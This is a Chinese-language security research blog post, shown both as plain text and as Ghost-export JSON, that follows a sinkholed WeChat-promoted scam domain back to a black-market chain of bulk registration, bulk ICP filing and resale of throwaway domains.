TW域名的时候，我们考察过一些域名注册商打包出售这种批量注册，备案域名的情况。比如典型的怀米网，域名批发网均会大量出售这种域名给后端需要使用大量域名的客户。域名出售商往往会根据域名是否被平台或者安全公司封杀，以及是否有备案等属性来给不同的域名定不同的价格，以此达到利润的最大化。 产业链条 至此，我们可以大致勾勒出这种批量域名的整个产业链： 1. 米农/域名注册商利用各种机会手段从注册商/注册局批量注册大量的域名。在做批发业务的时候，他们并不关心域名本身是否容易记忆，是否有品牌意义等这些常规注册时才需要考虑的属性。只求便宜，量大，因此注册域名都是随机域名（既可以字母随机，也可以数字随机还可以字母数字混合随机）。一个典型的米农的工作内容：既要查询域名是否被注册，又要查询域名是否有备案，还要查询域名是否被微信拦截等等。 2. 为了提高收益，有些米农/注册商会对批量注册的域名进行批量的备案。具体的备案方式可以分为两种：一种是通过灰色渠道批量购买公司营业执照的方式进行公司备案，另一种是通过购买/雇佣个人信息的方式进行个人域名备案。做一个代备案的费用大概在1500块，卖家会提供营业执照给买房。像我们观察到的现象，批量的备案方式，卖家只提供营业执照的照片，相应的价格会便宜，大概每个域名500块。 3. 米农/注册商在各自的平台或者借助第三方的平台对已注册域名或者已备案域名进行出售。相比较个人去注册商注册域名，这种出售价格往往也非常低廉（以TW的域名为例，Godday的注册价格是这种批发域名价格的40倍左右），出售的时候只批发不零售，出售/出租给需要大量域名的用户。这种出售一般情况下不会更改whois的注册人信息，也就是这种出售从whois角度来看应该理解为出租。 4. 需要大量域名的行业批量购入这些域名之后，结合自己的业务将其投入到实际使用中，比如在微信平台上的各种推广，垃圾站群的SEO以及各种赌博或者色情的广告平台。如果被安全公司或者应用平台封杀，那么这些域名会弃之不用，从新购入新的域名继续之前的业务。同时也有一些专门的产业从业者从事抗平台封杀技术的服务和提供，比如这里以及这里等等。 5. 被封杀的域名会继续进入米农/注册商的仓库，等待下一批新的用户的购买/租用。关于这一点请参考这里的文章中提到的微信拦截因素的第一条。以及从下图可以看到，域名在不同的米农之间流转非常正常： 6. 这种模式在一定程度上是一种域名的DGA + Fastflux的结合。 结论 我们从一次用户真实的反馈开始，验证了之前我们对这种域名的使用模式的猜想。 从中可以看到： 1. 黑灰色产业链条使用域名上面已经非常完善。从注册，备案，到使用，回收，之后再次使用这个闭环甚至可以无限循环下去。产业链非常强大。 2. 为了应对这种情况，相应的，我们必须从域名注册，域名备案，以及域名滥用检测等多个方面完善现有功能，补上现在存在的各种漏洞。 参考链接 1. https://www.jianshu.com/p/c6aca59ec94b 2. http://www.zjychina.cn/p/1443217.html 3. https://www.jianshu.com/p/8801f1c99f49?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation 4. https://www.v2ex.com/t/541002 5. http://fbp.xianzais.top/ 6. http://www.dingxsd.com/

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 缘由\n2019-04-04 的下午，我收到一份用户反馈的邮件，说是同样一个链接在两台不同的电脑上打开的效果不一致。一台电脑是“正常”打开，另一台则“打不开”，返回的是360netlab的sinkhole页面。我当然知道是因为我们的DNSMon的恶意域名拦截功能导致的，不过引起我兴趣的是具体被拦截的域名 **1oau9.cn**。 这种域名像极了黑灰产业链中用到的那种垃圾域名。在反馈中用户特意提到了“**使用微信**”点开链接，这一点和我上一篇文章提到的 TW 顶级域的滥用也很像。邮件截图如下：\n\n\n# 域名用途\n1oau9.cn 这个域名被拦截，在DNSMon系统中，没有任何可用的信息，被拦截是因为高可疑。不过从用户的反馈中，可以看到它有效的URL：http://1oau9.cn/main/66.html 。这一点同样证实了，现在大量的域名通过手机内部app直接访问，相关能够流落到外面的可能性越来越少。既然有了URL，难免不会去访问一番，访问之后是一个如下的页面：\n\n\n从这个图中，至少可以看到三个信息：\n1. 这个页面确实是一个手机页面\n2. 看风格，既有美女，又有金钱，很大程度是一个诈骗的应用\n3. 下方有一个二维码，又存在着导流的功能。\n\n接着第三个信息，我们扫码之后是一个如下的页面，看起来是做抽奖，如果分享给朋友，能多一次抽奖机会，裂变传播的常规套路。\n\n\n关闭抽奖页面之后，看到的是一个很诱惑的图片，点击图片下方的寻找萌妹，就会跳转到正题，下载APP了，这个APP看起来是游戏陪练，具体功能这里不做深究。如下：\n\n\n到这里我们看到微信里面的这种链接应该脱离不开投递广告，应用推广等这些基本的套路。\n\n具体在微信中推广应用及微信对应的封堵策略等请查看[参考文档1](https://www.jianshu.com/p/c6aca59ec94b).以及[参考文档2](http://www.zjychina.cn/p/1443217.html)\n# 关于文章开始的域名1oau9.cn\n1oau9.cn这个域名看起来怪就是因为它很随机，字母数字组合，完全没有规律可循。要知道DNS的功能就是把人类难以记住的IP地址和较容易记住的域名关联起来，如果域名本身变得难以记忆了，那么这个域名还有什么意义呢？\n也许它的作用还是只给机器（电脑）使用，而人不会直接用到它。那么需要大量自动使用域名的行业就会成为这类域名发挥作用的场所了。因为微信对基于微信平台的灰色应用的封杀导致在微信平台上做推广成了大量自动使用域名的新的舞台。和之前的站群SEO这种前辈一样。需求巨大。.TW的文章中提到哪里有便宜的域名，哪里就会有这种域名的应用。无论是TW低成本域名还是CF，ML，GQ这种免费域名还是各种 低成本的newGTLD，统统可以用来做业务的推广。\n再回到初始域名1oau9.cn上来，是一个 以.CN为顶级域的域名。.CN顶级域与其他的顶级域有一个不同的地方在于CN域名如果有备案的话，它的价值就可以比无备案的域名高出很多，而域名是否备案又成了微信以及类似平台审核域名的一个关键点。那么备案是否也可以批量备案呢，答案是完全可以，具体请参考我们之前的关于备案的调查的文章。\n我们接着看 1oau9.cn 这个域名的情况。注册人邮箱：[email protected]。 通过DNSMon查询，这个email注册了 11611 个域名，全部是CN顶级域名。其中完成备案的有5359个域名，比例为：46.14%。这个比例和其他的疯狂注册并备案的注册人来说，并不算高。这5359个域名分别使用了如下公司进行备案：\n* 2915 山西敏洋溢网络科技有限公司\n* 1067 山西洋然涵科技有限公司\n* 1067 山西春鹤阳溢科技咨询有限公司\n* 261 内蒙古泓郜消防设备有限公司\n* 14 太原市万柏林区凡凡日化经销部\n* 15 其他人员/公司\n\n由上面的公司以及下面备案省份的统计可以看出，主备案省份还是山西省，与之前的调查结果一致：\n* 5068 晋\n* 261 蒙\n* 14 赣\n* 9 鲁\n* 3 宁\n* 2 冀\n* 1 鄂\n* 1 滇\n\n备案日期主要集中在3月18号，非常的新：\n* 3984 2019-03-18 00\n* 1081 2019-01-21 00\n* 261 2019-01-11 00\n* 16 2019-03-19 00\n* 17 其他日期（均为2019年2月12号以后）\n\n# 域名的注册和出售\n在分析 TW域名的时候，我们考察过一些域名注册商打包出售这种批量注册，备案域名的情况。比如典型的[怀米网](http://www.huaimi.com)，[域名批发网](http://yumingpifa.com/)均会大量出售这种域名给后端需要使用大量域名的客户。域名出售商往往会根据域名是否被平台或者安全公司封杀，以及是否有备案等属性来给不同的域名定不同的价格，以此达到利润的最大化。\n\n\n# 产业链条\n至此，我们可以大致勾勒出这种批量域名的整个产业链：\n1. 米农/域名注册商利用各种机会手段从注册商/注册局批量注册大量的域名。在做批发业务的时候，他们并不关心域名本身是否容易记忆，是否有品牌意义等这些常规注册时才需要考虑的属性。只求便宜，量大，因此注册域名都是随机域名（既可以字母随机，也可以数字随机还可以字母数字混合随机）。一个典型的米农的工作内容：既要查询域名是否被注册，又要查询域名是否有备案，还要查询域名是否被微信拦截等等。\n3. 为了提高收益，有些米农/注册商会对批量注册的域名进行批量的备案。具体的备案方式可以分为两种：一种是通过灰色渠道批量购买公司营业执照的方式进行公司备案，另一种是通过购买/雇佣个人信息的方式进行个人域名备案。做一个代备案的费用大概在1500块，卖家会提供营业执照给买房。像我们观察到的现象，批量的备案方式，卖家只提供营业执照的照片，相应的价格会便宜，大概每个域名500块。\n \n4. 米农/注册商在各自的平台或者借助第三方的平台对已注册域名或者已备案域名进行出售。相比较个人去注册商注册域名，这种出售价格往往也非常低廉（以TW的域名为例，Godday的注册价格是这种批发域名价格的40倍左右），出售的时候只批发不零售，出售/出租给需要大量域名的用户。*这种出售一般情况下不会更改whois的注册人信息，也就是这种出售从whois角度来看应该理解为出租。*\n5. 需要大量域名的行业批量购入这些域名之后，结合自己的业务将其投入到实际使用中，比如在微信平台上的各种推广，垃圾站群的SEO以及各种赌博或者色情的广告平台。如果被安全公司或者应用平台封杀，那么这些域名会弃之不用，从新购入新的域名继续之前的业务。同时也有一些专门的产业从业者从事抗平台封杀技术的服务和提供，比如[这里](http://www.dingxsd.com/)以及[这里](http://fbp.xianzais.top/)等等。\n6. 被封杀的域名会继续进入米农/注册商的仓库，等待下一批新的用户的购买/租用。关于这一点请参考[这里的文章](https://www.jianshu.com/p/d888b0488210?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation)中提到的微信拦截因素的第一条。以及从下图可以看到，域名在不同的米农之间流转非常正常：\n\n\n6. 这种模式在一定程度上是一种域名的DGA + Fastflux的结合。\n\n# 结论\n我们从一次用户真实的反馈开始，验证了之前我们对这种域名的使用模式的猜想。\n从中可以看到：\n1. 黑灰色产业链条使用域名上面已经非常完善。从注册，备案，到使用，回收，之后再次使用这个闭环甚至可以无限循环下去。产业链非常强大。\n2. 为了应对这种情况，相应的，我们必须从域名注册，域名备案，以及域名滥用检测等多个方面完善现有功能，补上现在存在的各种漏洞。\n"}],["markdown",{"markdown":"# 参考链接\n1. https://www.jianshu.com/p/c6aca59ec94b\n2. http://www.zjychina.cn/p/1443217.html\n3. https://www.jianshu.com/p/8801f1c99f49?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation\n4. https://www.v2ex.com/t/541002\n5. http://fbp.xianzais.top/\n6. http://www.dingxsd.com/"}]],"markups":[],"sections":[[10,0],[10,1],[1,"p",[]]],"ghostVersion":"3.0"}

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